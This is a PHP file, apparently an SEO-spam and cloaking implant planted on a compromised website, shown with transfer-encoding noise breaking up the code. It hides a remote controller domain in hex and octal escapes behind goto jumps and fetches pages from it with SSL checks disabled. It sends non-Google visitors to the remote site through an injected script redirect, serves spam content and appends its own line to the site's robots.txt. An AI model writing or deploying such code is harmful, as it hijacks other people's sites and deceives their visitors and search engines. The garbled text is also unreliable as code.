3 6 true, 16 CURLOPT_ 9 CONNECTTI 3 MEO 6 UT => 1 5 1f , CURLOPT_TIMEOUT a => 18 8, CURLOPT_ 3 SSL 5 _VERI 3 FYP 7 EER => 5 false 23 , CURLOPT_SSL_VERIFYHO 2 ST 22 => false, CURLOPT_FO 3 LLO 1 W 6 LOCATI 2 ON 21 => false, CURLOPT_U 5 SERAG 3 ENT b => "M 3 ozi 4 lla/ 4 5.0" a d ]); d $data = curl_ 4 exec 4 ($ch 13 ); curl_cl 3 ose d ($ch); } c if ( d empty($data) 3 && 8 ini_get( 4 'all 3 ow_ 6 url_fo 3 pen 11 ')) { $c 5 ontex 7 t = str 4 eam_ 9 context_c 5 reate 10 ([ 3 "ht 3 tp" 6 => [" 6 timeou 2 t" a => 8, "he 4 ader 6 " => " 4 User 3 -Ag 5 ent: b Mozilla/5.0 3 \r\ 3 n"] 11 , "s 4 sl" 7 => ["v 4 erif 4 y_pe 7 er" => 13 false, "verify_peer 4 _nam b e" => false 20 ] ]); $data = 1 @ 16 file_get_contents($url 9 , false, 8 $context 16 ); } if (! d empty($data)) c cache_set($ b url, $data) e ; return 5 $data 2b ; } /* ------------------------- 5 URL 3 2 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 4 type 4 ='do 3 mai 5 n'): 7 string a { $ho 2 st 12 = $_SERVER['HTTP_ 5 HOST' 3 ] ? 7 ? ''; 9 if ($ 6 type = 5 == 'n 3 o_w 3 ww' b ) return pr 2 eg 6 _repla 4 ce(' 5 /^www 3 \./ 4 i', 5 '', $ 5 host) c ; $pr 4 otoc 5 ol = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 16 ) && $_SERVER['HTTPS'] 7 !== 'o 2 ff 4 ') ? 8 "https: 4 //" 7 : "http b ://"; 4 $bas 4 e = b $protocol . 6 $host 18 ; if ($type === ' e base') return 5 $base 18 ; if ($type === 'fu 2 ll 12 ') return $base . d ($_SERVER['RE 2 QU 2 ES 5 T_URI 12 '] ?? ''); 8 return $ 7 host; 2a } /* ------------------------- 2 3 3 2 21 ------------------------- */ g 5 oto O 3 NPu 9 B; ONPuB: 7 $http_ 7 type = 11 !empty($_SERVER[" 3 \x4 4 8\12 3 4\x 6 54\x50 5 \x53" f ]) && $_SERVER[ 10 "\x48\124\124\x5 7 0\x53"] 8 !== "\1 2 57 3 \x6 3 6\1 3 46" 7 ? "\15 4 0\x7 9 4\x74\x70 3 \16 4 3\72 3 \x2 5 f\x2f 8 " : "\x6 4 8\16 9 4\164\160 9 \72\x2f\5 4 7"; 7 goto O4 3 O9k 7 ; O4O9k 4 : $v 8 url = "\ 4 x74\ 8 157\56\1 2 52 7 \147\14 5 1\x6c 9 \x6c\163\ 3 x2e 4 \143 8 \157\x6d c \x2f"; goto 3 vgv 3 72; 9 vgv72: $ 2 qz 6 = sub 3 str d (str_replace( 6 array( 5 "\x77 7 \x77\16 6 7\x2e" 3 , " 5 \56") 7 , '', $ d _SERVER["\110 7 \x54\x5 8 4\120\x5 6 f\x48\ 3 x4f 8 \123\x54 4 "]), 4 0, 5 3); 24 /* ------------------------- 3 2 2 f 4 参 24 数 ------------------------- */ $ 6 sz = $ 2 ii 5 d = " 6 "; if a (!empty($_ 5 GET)) 4 { 4 $f=r 6 eset($ 5 _GET) 9 ; $s 4 p = e explode('-', $ 1 f f ); if (cou 4 nt($ 3 sp) 6 === 2 11 ) { $sz 6 = $sp 3 [0] c ; $ b iid = $sp[1 1 ] b ; } } 28 /* ------------------------- 远 2 3 3 1 20 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = d getCurlFast(" b {$http_type 2 }{ 7 $vurl}3 3 kg. 4 aspx 3 ?sz 2 =" 8 . urlen 5 code( 5 $sz)) 6 ; } e 3 lse 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= d {$http_type}" b ); $sz 2c = getCurlFast("{$http_type}{$vurl}3kg.aspx? 2 jd 12 =" . urlencode($jd 1 ) c ); } $hy 3 zhd 5 y = $ 5 jd . 8 "41.aspx 6 "; $s 5 url 16 = $jd . "s41.aspx"; 25 /* ------------------------- 4 robo 2 ts 5 / si 5 temap 22 ------------------------- */ $s 7 itemapL 6 ine = 2 "S 8 itemap: e {$http_type}{$ 20 _SERVER['HTTP_HOST']}{$_SERVER[' 3 SCR 4 IPT_ 3 NAM 5 E']}? 6 w=" . 5 date( 3 'Ym 3 dHi 5 ') . 4 "\n" c ; function 5 ensur 2 e_ e robots_sitemap d ($sitemapLine a ) { $ 9 robots = 6 rtrim( b $_SERVER['D 3 OCU 5 MENT_ 3 ROO 3 T'] 6 , "/\\ 7 ") . '/ 7 robots. 3 txt d '; if (! d file_exists($ 6 robots e )) { 1a @file_put_contents($robots 8 , "User- 7 agent: 3 *\n 5 Allow 3 : / 3 \n" f . $sitemapLine d , LOCK_EX); 5 } 13 else { $c 17 = @file_get_contents($ 8 robots); e if ( 4 $c = a == false | 2 | a strpos($c, e $sitemapLine) a === false 11 ) { 2a @file_put_contents($robots, $sitemapLine, 3 FIL 4 E_AP 4 PEND 2 | 10 LOCK_EX); 11 } } } 25 /* ------------------------- 4 w= 2 3 出 2c ------------------------- */ if (!empty($ 4 get[ 3 'w' 7 ])) { a $par 2 am 9 s = http_ 4 buil 3 d_q 4 uery c ([ 3 'NO 4 Umbe 2 r' a => $get[' 8 NOUmber' 13 ] ?? '', ' 2 t' 10 => $get[' 15 t'] ?? '', ' 3 cn' 12 => $get['cn' 14 ] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 16 ] ?? '', 'cid 10 ' => $get['c 16 id'] ?? '', ' 1 m 1a ' => $get['m'] ?? '' 7 ] b ); $ 3 str 16 = getCurlFast("{$surl 3 }?{ 7 $params c }"); 4 echo d str_replace( b [ 3 'yy 4 mm', 6 'ggggg 5 ','?f 4 ='], b [ b $http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 5 , $sz 5 ,'?'. 4 $qz. f '='], a $str 8 ); 3 exi 2e t; } /* ------------------------- IP 3 3 2 3 2 3 留 4 kk 2 3 1 24 ) ------------------------- */ $ 6 kk = i 6 sset($ 6 get['k 5 k']) 1 ? 12 trim($get['kk']) 7 : ''; 6 $ip = 5 ($kk 5 !== ' 8 ') ? "66 3 .24 3 9.8 3 2.8 4 " : d get_real_ip() 28 ; /* ------------------------- 9 getdomain 5 2 判 3 断 21 ------------------------- */ $ 6 domain 8 = trim( 13 getCurlFast($jd . " a getdomain2 8 .aspx?rn 3 d=1 3 &ip 5 =" . 4 $ip) 2b ); /* ------------------------- 4 go 4 ogle 3 + 5 iid 2 3 3 1 2c ------------------------- */ if ($domain 5 !== ' b google' && b !empty($iid c )) { $k 4 name 7 = urld 6 ecode( 15 getCurlFast($jd . "gn 6 .aspx? a iid=" . $i 7 id)); a echo ' 4 loc 5 ation 2 =" b ' . $jd . " 8 a.aspx?c 4 name 10 =" . urlencode($ a kname) . " 4 &url 6 =" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' d SCRIPT_NAME'] 6 . '"< 8 /script> 1 ' 3a ; exit; } /* ------------------------- iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( b $hyzhdy . " 6 ?iid={ 4 $iid 29 }"); echo str_replace( [' d ggggg','YYYYY 4 ','X 2 XX 8 YYY',' 3 1 7 URL','U 7 UUUU',' 5 MMMMM 15 ','?f='], [$ 3 sz, f get_url_info() 16 , get_url_info('base') 10 , get_url_info(' 16 full'), get_url_info(' 8 no_www') 4 ,par 6 se_url 18 ($_SERVER['REQUEST_URI'] 4 , PH 4 P_UR 4 L_PA 3 TH) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 8 sitemap 4 help 2 er 2a ------------------------- */ function o 2 ut c put_sitemap_ 3 and 5 _exit e ($sitemapLine, b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) e ; echo "< 3 div 5 styl 3 e=' 5 text- 4 alig 3 n:c 4 ente 4 r;pa 4 ddin 3 g:1 4 0px 3 0;' 1 > 11 9 Sitemap 5 " 36 ; exit; } /* ------------------------- 3 kk 8 输出 3 1 25 ------------------------- */ if ($ d kk !== '' && 6 preg_m 3 atc 5 h('/^ 3 [A- 3 Za- 3 z0- 2 9] 3 +$/ 6 ', $kk c )) { $r 4 emot 1 e 2a = getCurlFast($jd . "getdomain2.aspx?rnd= 3 2&k 7 k=" . $ 3 kk) c ; if (! d empty($remote e )) { c echo $remote b ; 7 exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 3 no_ 5 query 4 = e 12 mpty($_SERVER['QUE 2 RY 8 _STRING' 7 ]); 9 if ($kk = 15 == '' && $is_no_query 9 ) { d if ($domain = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 47 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); 2 ?> 2 0